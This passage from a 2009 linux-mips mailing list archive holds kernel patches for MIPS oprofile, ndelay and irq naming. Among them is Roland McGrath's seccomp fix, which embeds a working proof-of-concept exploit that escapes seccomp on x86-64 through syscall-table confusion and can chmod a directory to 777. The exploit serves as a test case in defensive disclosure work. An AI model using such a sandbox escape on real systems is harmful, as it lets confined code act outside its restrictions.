M_PERFCTL_INTERRUPT)) { + oprofile_add_sample(get_irq_regs(), 0); + write_c0_perfcntr0(reg.counter[0]); + write_c0_perfctrl0(control & ~M_PERFCTL_INTERRUPT); + handled = IRQ_HANDLED; + } + + control = read_c0_perfctrl1(); + counter = read_c0_perfcntr1(); + if ((control & M_PERFCTL_INTERRUPT_ENABLE) && + (control & M_PERFCTL_INTERRUPT)) { + oprofile_add_sample(get_irq_regs(), 1); + write_c0_perfcntr1(reg.counter[1]); + write_c0_perfctrl1(control & ~M_PERFCTL_INTERRUPT); + handled = IRQ_HANDLED; + } + + return handled; +} + +static void reset_counters(void *arg) +{ + write_c0_perfctrl1(0); + write_c0_perfcntr1(0); + + write_c0_perfctrl0(0); + write_c0_perfcntr0(0); +} + +static int __init r5500_init(void) +{ + on_each_cpu(reset_counters, NULL, 1); + + switch (current_cpu_type()) { + case CPU_R5500: + op_model_r5500_ops.cpu_type = "mips/vr5500"; + break; + + default: + printk(KERN_ERR "Profiling unsupported for this CPU\n"); + + return -ENODEV; + } + + save_perf_irq = perf_irq; + perf_irq = r5500_perfcount_handler; + + return 0; +} + +static void r5500_exit(void) +{ + on_each_cpu(reset_counters, NULL, 1); + + perf_irq = save_perf_irq; +} + +struct op_mips_model op_model_r5500_ops = { + .reg_setup = r5500_reg_setup, + .cpu_setup = r5500_cpu_setup, + .init = r5500_init, + .exit = r5500_exit, + .cpu_start = r5500_cpu_start, + .cpu_stop = r5500_cpu_stop, + .num_counters = NUM_COUNTERS, +}; -- 1.6.0.3 From ralf@h5.dl5rb.org.uk Fri Feb 27 14:07:52 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 27 Feb 2009 14:07:55 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:51369 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20808781AbZB0OHw (ORCPT ); Fri, 27 Feb 2009 14:07:52 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1RE7nrs028498; Fri, 27 Feb 2009 14:07:49 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1RE7mZ1028496; Fri, 27 Feb 2009 14:07:48 GMT Date: Fri, 27 Feb 2009 14:07:48 +0000 From: Ralf Baechle To: Manuel Lauss Cc: David Daney , Linux-MIPS Subject: Re: [PATCH 06/14] MIPS: print irq handler description Message-ID: <20090227140748.GA28473@linux-mips.org> References: <80cf5c7a0db39a7230bae7766264acbfc68d200e.1229846412.git.mano@roarinelk.homelinux.net> <535458cb8c8f570089b2712a1e73ca7314d5b7c7.1229846413.git.mano@roarinelk.homelinux.net> <496F90AA.7070407@caviumnetworks.com> <20090115194921.GB8656@roarinelk.homelinux.net> <496F9579.7050300@caviumnetworks.com> <20090115202210.GC8656@roarinelk.homelinux.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090115202210.GC8656@roarinelk.homelinux.net> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21979 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 814 Lines: 24 On Thu, Jan 15, 2009 at 09:22:10PM +0100, Manuel Lauss wrote: > On Thu, Jan 15, 2009 at 11:58:49AM -0800, David Daney wrote: > > Manuel Lauss wrote: > > [...] > >> Or how about this? > > [...] seq_printf(p, " %14s", irq_desc[i].chip->name); > >> - seq_printf(p, "-%-8s", irq_desc[i].name); > >> + if (irq_desc[i].name) > >> + seq_printf(p, "-%-8s", irq_desc[i].name); > >> seq_printf(p, " %s", action->name); > > > > I will let you and Ralf decide. However it would be nice if action->name > > lined up with a mixture of NULL and non-NULL irq_desc[i].name. It is not > > clear to me if this is the case with your patch. > > Good point, no it's not the case unfortunately; the gap between > the controller and irq names becomes unaesthetically wide. > > So please revert the patch. Done. Ralf From dvomlehn@cisco.com Fri Feb 27 23:10:11 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 27 Feb 2009 23:10:17 +0000 (GMT) Received: from sj-iport-1.cisco.com ([171.71.176.70]:43446 "EHLO sj-iport-1.cisco.com") by ftp.linux-mips.org with ESMTP id S20807976AbZB0XKL (ORCPT ); Fri, 27 Feb 2009 23:10:11 +0000 X-IronPort-AV: E=Sophos;i="4.38,279,1233532800"; d="scan'208";a="148604091" Received: from sj-dkim-6.cisco.com ([171.68.10.81]) by sj-iport-1.cisco.com with ESMTP; 27 Feb 2009 23:09:51 +0000 Received: from sj-core-2.cisco.com (sj-core-2.cisco.com [171.71.177.254]) by sj-dkim-6.cisco.com (8.12.11/8.12.11) with ESMTP id n1RN9p6K024706; Fri, 27 Feb 2009 15:09:51 -0800 Received: from cliff.cisco.com (cliff.cisco.com [171.69.11.141]) by sj-core-2.cisco.com (8.13.8/8.13.8) with ESMTP id n1RN9pZA024113; Fri, 27 Feb 2009 23:09:51 GMT Received: from cuplxvomd02.corp.sa.net ([64.101.20.155]) by cliff.cisco.com (8.6.12/8.6.5) with ESMTP id XAA10015; Fri, 27 Feb 2009 23:09:50 GMT Date: Fri, 27 Feb 2009 15:09:50 -0800 From: VomLehn To: linux-mips@linux-mips.org Cc: ralf@linux-mips.org Subject: [PATCH][MIPS] Use CP0 Count register to implement more granular ndelay Message-ID: <20090227230950.GA29546@cuplxvomd02.corp.sa.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.18 (2008-05-17) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; l=16321; t=1235776191; x=1236640191; c=relaxed/simple; s=sjdkim6002; h=Content-Type:From:Subject:Content-Transfer-Encoding:MIME-Version; d=cisco.com; i=dvomlehn@cisco.com; z=From:=20VomLehn=20 |Subject:=20[PATCH][MIPS]=20Use=20CP0=20Count=20register=20 to=20implement=20more=20granular=0A=09ndelay |Sender:=20; bh=74SKgofpIJ+HZn7Wzi/M4T2QHRvy2hLAjYRBtHEwvfQ=; b=dPN0vGa3vOVo/aHoNY/VqsabpzTp1COJO6/MBgcE/xfAvmCx6Fb+FMEo3/ CWI1H7bSbPgXoryQMw6eV6GgT862vR7EHsQ0+EN2tcG4PR+Cp6qLUFSf/7qA yaqhY3pxKT; Authentication-Results: sj-dkim-6; header.From=dvomlehn@cisco.com; dkim=pass ( sig from cisco.com/sjdkim6002 verified; ); Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21980 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: dvomlehn@cisco.com Precedence: bulk X-list: linux-mips Content-Length: 15839 Lines: 482 The default implementation of ndelay uses udelay, which will result in the rounding up of any requested interval to the next highest number of microseconds. This may be a much longer delay than was desired. However, if the tick rate of the CP0 Count register is known, it is possible to implement an accurate ndelay that works on multiple MIPS processors. To use this, enable CONFIG_CP0_COUNT_NDELAY and modify the platform startup code to call init_ndelay as early as possible. A good place to call it is probably the prom_init function. The argument to init_ndelay should be the CP0 Count register tick rate, in kHz. The tick rate is typically half the processor clock rate so, if you have a 700 MHz processor, the CP0 Count register would tick at 350 MHz and you would pass 3500000 to init_ndelay. At the risk of being obvious, you will need to ensure that ndelay isn't used until after the call to init_ndelay. There are no checks to enforce this as it would increase the latency in ndelay, but, in order to make it obvious that init_ndelay hasn't been called early enough, the initial ndelay parameters are set to cause a really large delay. Signed-off-by: David VomLehn --- arch/mips/Kconfig | 9 ++ arch/mips/include/asm/delay.h | 75 ++++++++++++++ arch/mips/include/asm/fast-ratio.h | 53 ++++++++++ arch/mips/lib/Makefile | 6 +- arch/mips/lib/delay.c | 59 +++++++++++ arch/mips/lib/fast-ratio.c | 196 ++++++++++++++++++++++++++++++++++++ 6 files changed, 396 insertions(+), 2 deletions(-) diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig index 0b5f16b..1568b91 100644 --- a/arch/mips/Kconfig +++ b/arch/mips/Kconfig @@ -1807,6 +1807,15 @@ config NR_CPUS source "kernel/time/Kconfig" +config CP0_COUNT_NDELAY + bool "Use coprocessor 0 Count register for ndelay functionality" + default n + help + Implements the ndelay function using the coprocessor 0 Count + register. Using this requires including a call to init_ndelay + with the Count register increment frequency, in KHz, in one + of the early initialization functions. + # # Timer Interrupt Frequency Configuration # diff --git a/arch/mips/include/asm/delay.h b/arch/mips/include/asm/delay.h index b0bccd2..fc41c46 100644 --- a/arch/mips/include/asm/delay.h +++ b/arch/mips/include/asm/delay.h @@ -109,4 +109,79 @@ static inline void __udelay(unsigned long usecs, unsigned long lpj) #define MAX_UDELAY_MS (1000 / HZ) #endif +#ifdef CONFIG_CP0_COUNT_NDELAY +/* + * Definitions for using MIPS CP0 Count register-based ndelay. If + * CONFIG_CP0_COUNT_NDELAY is not defined, ndelay will default to using + * udelay. + */ + +#include +#include +#include + +/* Maximum amount of time that will be handled with ndelay, in nanoseconds. + * Values bigger than this will be bounced up to udelay. */ +#define _MAX_DIRECT_NDELAY 65535 + +#define ndelay(n) _ndelay(n) + +extern struct fast_ratio _ndelay_param; + +/* + * Compute the number of CP0 Count ticks corresponding to the interval + * @nsecs: Interval, expressed in nanoseconds + * Breaking this out as its own function makes it easier to test. + */ +static inline unsigned int _ndelay_ticks(unsigned int nsecs) +{ + return fast_ratio(nsecs, &_ndelay_param); +} + +/* + * Delay for at least the given number of nanoseconds + * @nsecs: Number of nanoseconds to delay + * + * This function uses the CP0 Count register to give a pretty accurate delay + * for very short delay periods. Very small delays will, unavoidably, be + * dominated by the instructions in this function but this should converge + * to the true delay reasonably quickly before nsecs gets very large. + * + * NOTE: Failure to call init_ndelay will result in *very* long delay times. + * This is done deliberately to ensure that, if you use ndelay and forget to + * call init_delay first, you will notice your mistake quickly. + */ +static inline void _ndelay(unsigned long nsecs) +{ + int start; + + /* The expected thing would be to do the first read of the Count + * register later, just before entering the delay loop. Reading here + * ensures that very short intervals will exit the first time through + * that loop. */ + start = read_c0_count(); + + if (unlikely(nsecs > _MAX_DIRECT_NDELAY)) + udelay(DIV_ROUND_UP(nsecs, 1000)); /* Would overflow counter */ + + else { + int end; + int now; + + end = start + _ndelay_ticks(nsecs); + + do { + now = read_c0_count(); + } while (end - now > 0); + } +} + +extern int init_ndelay(unsigned int count_freq); +#else +static inline int init_ndelay(unsigned int count_freq) +{ + return 0; +} +#endif + #endif /* _ASM_DELAY_H */ diff --git a/arch/mips/include/asm/fast-ratio.h b/arch/mips/include/asm/fast-ratio.h new file mode 100644 index 0000000..84ac286 --- /dev/null +++ b/arch/mips/include/asm/fast-ratio.h @@ -0,0 +1,53 @@ +/* + * fast-ratio.h + * + * Definitions for using fast evaluator for expressions of the form: + * a + * x * - + * b + * + * where x can be constrained to some maximum value and a and b are constants. + * + * Copyright (C) 2009 Cisco Systems, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _ASM_MACH_POWERTV_FAST_RATIO_H_ +#define _ASM_MACH_POWERTV_FAST_RATIO_H_ + +/* Instances of this structure will normally be declared with the attribute + * __read_mostly since it only makes sense to use the fast-ratio code if + * you fill in the structure once for many calls to evalue the result. */ +struct fast_ratio { + unsigned long k; + unsigned int s; + unsigned long r; +}; + +/* + * Evaluate x * (a / b), a and b constant, as transformed for speed. + * @x: Value to multiply by a / b + * @fr: Pointer to &struct fast_ratio with transformed values for a and b + * Returns x * (a / b), rounded up in an unsigned long value + */ +static inline unsigned long fast_ratio(unsigned long x, struct fast_ratio *fr) +{ + return (x * fr->k + fr->r) >> fr->s; +} + +extern int init_fast_ratio(unsigned int max_x, unsigned long a, + unsigned long b, struct fast_ratio *fr); +#endif diff --git a/arch/mips/lib/Makefile b/arch/mips/lib/Makefile index dbcf651..e5c4ee5 100644 --- a/arch/mips/lib/Makefile +++ b/arch/mips/lib/Makefile @@ -2,8 +2,8 @@ # Makefile for MIPS-specific library files.. # -lib-y += csum_partial.o memcpy.o memcpy-inatomic.o memset.o strlen_user.o \ - strncpy_user.o strnlen_user.o uncached.o +lib-y += csum_partial.o fast-ratio.o memcpy.o memcpy-inatomic.o memset.o \ + strlen_user.o strncpy_user.o strnlen_user.o uncached.o obj-y += iomap.o obj-$(CONFIG_PCI) += iomap-pci.o @@ -28,5 +28,7 @@ obj-$(CONFIG_CPU_TX39XX) += r3k_dump_tlb.o obj-$(CONFIG_CPU_TX49XX) += dump_tlb.o obj-$(CONFIG_CPU_VR41XX) += dump_tlb.o +obj-$(CONFIG_CP0_COUNT_NDELAY) += delay.o + # libgcc-style stuff needed in the kernel obj-y += ashldi3.o ashrdi3.o cmpdi2.o lshrdi3.o ucmpdi2.o diff --git a/arch/mips/lib/delay.c b/arch/mips/lib/delay.c new file mode 100644 index 0000000..0d74543 --- /dev/null +++ b/arch/mips/lib/delay.c @@ -0,0 +1,59 @@ +/* + * delay.c + * + * Code implementing ndelay using the MIPS CP0 Count register. + * + * Copyright (C) 2009 Cisco Systems, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include +#include +#include +#include + +/* This elements are initialized to a value that will cause huge delays to + * arise from use of ndelay before calling init_ndelay. This should make such + * mistakes obvious enough to easily find and correct. */ +struct fast_ratio _ndelay_param __read_mostly = { + .k = 0, + .s = 0, + .r = ULONG_MAX / 2, +}; +EXPORT_SYMBOL(_ndelay_param); + +/* + * Called to initialize the values for the ndelay function + * @f: Frequency, in KHz, of the CP0 Count register increment rate + */ +int __init init_ndelay(unsigned int f) +{ + int ret; + + ret = init_fast_ratio(_MAX_DIRECT_NDELAY, f, 1000000, &_ndelay_param); + + if (ret) + pr_err("Unable to initialize ndelay parameters, errno %d\n", + ret); + else + pr_info("Set ndelay fast_ratio parameters: k %u s %u r %u\n", + _ndelay_param.k, _ndelay_param.s, _ndelay_param.r); + + return ret; +} diff --git a/arch/mips/lib/fast-ratio.c b/arch/mips/lib/fast-ratio.c new file mode 100644 index 0000000..c630adf --- /dev/null +++ b/arch/mips/lib/fast-ratio.c @@ -0,0 +1,196 @@ +/* + * fast-ratio.c + * + * Code implementing fast ratio calculator. + * + * Copyright (C) 2009 Cisco Systems, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include +#include +#include + +#ifndef __KERNEL__ +#include +#else +#include + +#ifndef assert +#define assert(x) BUG_ON(!(x)) +#endif +#endif + +#ifdef DEBUG +#define dbg(fmt, ...) pr_crit(fmt, ## __VA_ARGS__) +#else +#define dbg(fmt, ...) do { } while (0) +#endif + +#ifndef BITS_PER_LLONG +#define BITS_PER_LLONG ((BITS_PER_LONG * sizeof(long long)) / sizeof(long)) +#endif + +/* Type for intermediate calculations, along with the number of bits and + * the maximum size. This should be the biggest unsigned type for which + * division and modulus by unsigned long are defined on this + * architecture. */ +#ifdef CONFIG_HAVE_ULLONG_DIV_AND_MOD +typedef unsigned long long intermediate_t; +#define BITS_PER_ACC BITS_PER_LLONG +#define ACC_MAX ULLONG_MAX +#else +typedef unsigned long intermediate_t; +#define BITS_PER_ACC BITS_PER_LONG +#define ACC_MAX ULLONG_MAX +#endif + +/* + * Compute transform of equation (x * a)/b for fast computation + * @max_x: Maximum value of x + * @a: Value of a + * @b: value b + * @fr: Pointer to a &struct fast_ratio to hold transformed parameters + * Returns a zero on success, otherwise a negative errno value. Errno values + * are: + * -EDOM Parameter b is zero + * -EINVAL Either max_x is too large or max_x is zero + * -ERANGE The rounded up intermediate value of x * a would not fit + * in an unsigned long. + * + * Mathematically, as long as the ratios: + * a k + * - = --- + * b 2^s + * + * are equal, the specific values of k and s don't matter. There are + * two constraints, however: + * + * o The value of s must be less than BIT_PER_LONG + * o With a rounding constant of r = 2^s - 1, we must have + * x * k + r <= ULONG_MAX + * + * We want k to be as large as possible so that + * it has the maximum precision. Getting the largest k means + * getting the smallest shift. + * + * Note that this is designed to work on both 32-bit systems and 64-bit systems + * using the LP64 model. + */ +int init_fast_ratio(unsigned int max_x, unsigned long a, + unsigned long b, struct fast_ratio *fr) +{ +#define SHIFT_ROUND_UP(_v, _n) (((_n) < 0) ? \ + (((unsigned long long) (_v)) << -(_n)) : \ + (((_v) + ((1ull << (_n)) - 1)) >> (_n))) +#define ROUNDING_CONST(_s) (((_s) < 0) ? 0 : ((1ull << (_s)) - 1)) + intermediate_t scaled_a; + intermediate_t k0; + int s0; + int min_s; + int k_msb; + int s; + int si; + unsigned long long k; + unsigned long long r; + unsigned long long dividend; + + if (b == 0) + return -EDOM; /* Divide by zero */ + + if (max_x > ULONG_MAX || max_x == 0) + return -EINVAL; + + if (a == 0) { + fr->k = 0; /* Trivial, result is always zero */ + fr->s = 0; + fr->r = 0; + return 0; + } + + /* Calculate the rounded up value of a / b with the most precision we + * can easily obtain by shifting the value a by n bits to the left. + * This means that the value we get is (a / b) * 2^n. We could get + * an overflow if we used the usual (a + (b - 1))/ b, so we compute the + * rounding value explicitly. If the scale value of a modulus b is + * not zero, we need to increase the result by one. */ + s0 = (BITS_PER_ACC - 1) - ilog2(a); + scaled_a = ((intermediate_t) a) << s0; + + k0 = (scaled_a / b) + ((scaled_a % b == 0) ? 0 : 1); + k_msb = ilog2(k0) + 1; + dbg("scaled_a %llx scaled_a %% b %llx k0 %llx s0 %d k_msb %d\n", + (unsigned long long) scaled_a, + (unsigned long long) scaled_a % b, + (unsigned long long) k0, s0, k_msb); + + /* Find a shift that yields the largest value of k that will avoid an + * overflow on an unsigned long when multiplied by max_x, and rounded + * up. */ + min_s = k_msb; + + for (;;) { + int shft; + unsigned long long ri; + unsigned long long ki; + unsigned long long p; + + shft = min_s - 1; + si = s0 - shft; + ki = SHIFT_ROUND_UP(k0, shft); + ri = ROUNDING_CONST(si); + + /* We must be sure that max_x is smaller than p or the + * following calculation will eventually overflow */ + assert(sizeof(max_x) < sizeof(p)); + p = max_x * ki; + dividend = p + ri; + dbg("min_s %d shft %d si %d ri %llx ki %llx max_x %x p %llx " + "dividend %llx\n", + min_s, shft, si, ri, ki, max_x, p, dividend); + if ((si > BITS_PER_LONG || dividend > ULONG_MAX)) + break; + min_s--; + } + + s = s0 - min_s; + k = SHIFT_ROUND_UP(k0, min_s); + r = ROUNDING_CONST(s); + dbg("min_s %d s %d k %llx max_x * k %llx r %llx dividend %llx\n", + min_s, s, k, max_x * k, r, max_x * k + r); + + /* If we have a negative shift, we couldn't find a k that would avoid + * an overflow. If that's true, or we have an overflow at the current + * shift, we return an error. */ + if (s < 0 || max_x * k + r > ULONG_MAX) + return -ERANGE; + + /* If the shift we came up with would shift the final result out + * of the register, we've underflowed the result */ + if (s >= BITS_PER_LONG) + return -ERANGE; + + fr->s = s; + fr->k = k; + fr->r = r; + + return 0; +#undef SHIFT_ROUND_UP +#undef ROUNDING_CONST +} From roland@redhat.com Sat Feb 28 07:26:52 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 07:26:55 +0000 (GMT) Received: from mx1.redhat.com ([66.187.233.31]:29396 "EHLO mx1.redhat.com") by ftp.linux-mips.org with ESMTP id S20808935AbZB1H0w (ORCPT ); Sat, 28 Feb 2009 07:26:52 +0000 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n1S7Q0rN020256; Sat, 28 Feb 2009 02:26:00 -0500 Received: from gateway.sf.frob.com (vpn-12-144.rdu.redhat.com [10.11.12.144]) by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n1S7Pvjx003243; Sat, 28 Feb 2009 02:26:00 -0500 Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228]) by gateway.sf.frob.com (Postfix) with ESMTP id 0F2A8357B; Fri, 27 Feb 2009 23:25:54 -0800 (PST) Received: by magilla.sf.frob.com (Postfix, from userid 5281) id CFEA6FC3DA; Fri, 27 Feb 2009 23:25:54 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Roland McGrath To: Linus Torvalds X-Fcc: ~/Mail/linus Cc: Andrew Morton , x86@kernel.org, linux-kernel@vger.kernel.org, stable@kernel.org, linux-mips@linux-mips.org, sparclinux@vger.kernel.org, linuxppc-dev@ozlabs.org Subject: Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole In-Reply-To: Linus Torvalds's message of Friday, 27 February 2009 19:52:09 -0800 X-Fcc: ~/Mail/linus References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> X-Antipastobozoticataclysm: When George Bush projectile vomits antipasto on the Japanese. Message-Id: <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> Date: Fri, 27 Feb 2009 23:25:54 -0800 (PST) X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254 Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21981 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: roland@redhat.com Precedence: bulk X-list: linux-mips Content-Length: 6759 Lines: 240 > Ok, I can see what's going on. And it's disgusting. That's what I thought when I saw TIF_32BIT in seccomp. I did the simplest fix I could see touching only x86. I don't know any other arch well enough to be sure that TIF_32BIT isn't the wrong test there too. I'd like to leave that worry to the arch maintainers. But here is the patch you asked for. Thanks, Roland --- [PATCH] x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include #include #include #include #include #include #include int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath --- arch/mips/include/asm/seccomp.h | 1 - arch/powerpc/include/asm/compat.h | 5 +++++ arch/powerpc/include/asm/seccomp.h | 4 ---- arch/sparc/include/asm/compat.h | 5 +++++ arch/sparc/include/asm/seccomp.h | 6 ------ arch/x86/include/asm/seccomp_32.h | 6 ------ arch/x86/include/asm/seccomp_64.h | 8 -------- kernel/seccomp.c | 7 ++++--- 8 files changed, 14 insertions(+), 28 deletions(-) diff --git a/arch/mips/include/asm/seccomp.h b/arch/mips/include/asm/seccomp.h index 36ed440..a6772e9 100644 --- a/arch/mips/include/asm/seccomp.h +++ b/arch/mips/include/asm/seccomp.h @@ -1,6 +1,5 @@ #ifndef __ASM_SECCOMP_H -#include #include #define __NR_seccomp_read __NR_read diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h index d811a8c..4774c2f 100644 --- a/arch/powerpc/include/asm/compat.h +++ b/arch/powerpc/include/asm/compat.h @@ -210,5 +210,10 @@ struct compat_shmid64_ds { compat_ulong_t __unused6; }; +static inline int is_compat_task(void) +{ + return test_thread_flag(TIF_32BIT); +} + #endif /* __KERNEL__ */ #endif /* _ASM_POWERPC_COMPAT_H */ diff --git a/arch/powerpc/include/asm/seccomp.h b/arch/powerpc/include/asm/seccomp.h index 853765e..00c1d91 100644 --- a/arch/powerpc/include/asm/seccomp.h +++ b/arch/powerpc/include/asm/seccomp.h @@ -1,10 +1,6 @@ #ifndef _ASM_POWERPC_SECCOMP_H #define _ASM_POWERPC_SECCOMP_H -#ifdef __KERNEL__ -#include -#endif - #include #define __NR_seccomp_read __NR_read diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h index f260b58..0e70625 100644 --- a/arch/sparc/include/asm/compat.h +++ b/arch/sparc/include/asm/compat.h @@ -240,4 +240,9 @@ struct compat_shmid64_ds { unsigned int __unused2; }; +static inline int is_compat_task(void) +{ + return test_thread_flag(TIF_32BIT); +} + #endif /* _ASM_SPARC64_COMPAT_H */ diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h index 7fcd996..adca1bc 100644 --- a/arch/sparc/include/asm/seccomp.h +++ b/arch/sparc/include/asm/seccomp.h @@ -1,11 +1,5 @@ #ifndef _ASM_SECCOMP_H -#include /* already defines TIF_32BIT */ - -#ifndef TIF_32BIT -#error "unexpected TIF_32BIT on sparc64" -#endif - #include #define __NR_seccomp_read __NR_read diff --git a/arch/x86/include/asm/seccomp_32.h b/arch/x86/include/asm/seccomp_32.h index a6ad87b..b811d6f 100644 --- a/arch/x86/include/asm/seccomp_32.h +++ b/arch/x86/include/asm/seccomp_32.h @@ -1,12 +1,6 @@ #ifndef _ASM_X86_SECCOMP_32_H #define _ASM_X86_SECCOMP_32_H -#include - -#ifdef TIF_32BIT -#error "unexpected TIF_32BIT on i386" -#endif - #include #define __NR_seccomp_read __NR_read diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h index 4171bb7..84ec1bd 100644 --- a/arch/x86/include/asm/seccomp_64.h +++ b/arch/x86/include/asm/seccomp_64.h @@ -1,14 +1,6 @@ #ifndef _ASM_X86_SECCOMP_64_H #define _ASM_X86_SECCOMP_64_H -#include - -#ifdef TIF_32BIT -#error "unexpected TIF_32BIT on x86_64" -#else -#define TIF_32BIT TIF_IA32 -#endif - #include #include diff --git a/kernel/seccomp.c b/kernel/seccomp.c index ad64fcb..57d4b13 100644 --- a/kernel/seccomp.c +++ b/kernel/seccomp.c @@ -8,6 +8,7 @@ #include #include +#include /* #define SECCOMP_DEBUG 1 */ #define NR_SECCOMP_MODES 1 @@ -22,7 +23,7 @@ static int mode1_syscalls[] = { 0, /* null terminated */ }; -#ifdef TIF_32BIT +#ifdef CONFIG_COMPAT static int mode1_syscalls_32[] = { __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32, 0, /* null terminated */ @@ -37,8 +38,8 @@ void __secure_computing(int this_syscall) switch (mode) { case 1: syscall = mode1_syscalls; -#ifdef TIF_32BIT - if (test_thread_flag(TIF_32BIT)) +#ifdef CONFIG_COMPAT + if (is_compat_task()) syscall = mode1_syscalls_32; #endif do { From mingo@elte.hu Sat Feb 28 07:32:06 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 07:32:08 +0000 (GMT) Received: from mx2.mail.elte.hu ([157.181.151.9]:55983 "EHLO mx2.mail.elte.hu") by ftp.linux-mips.org with ESMTP id 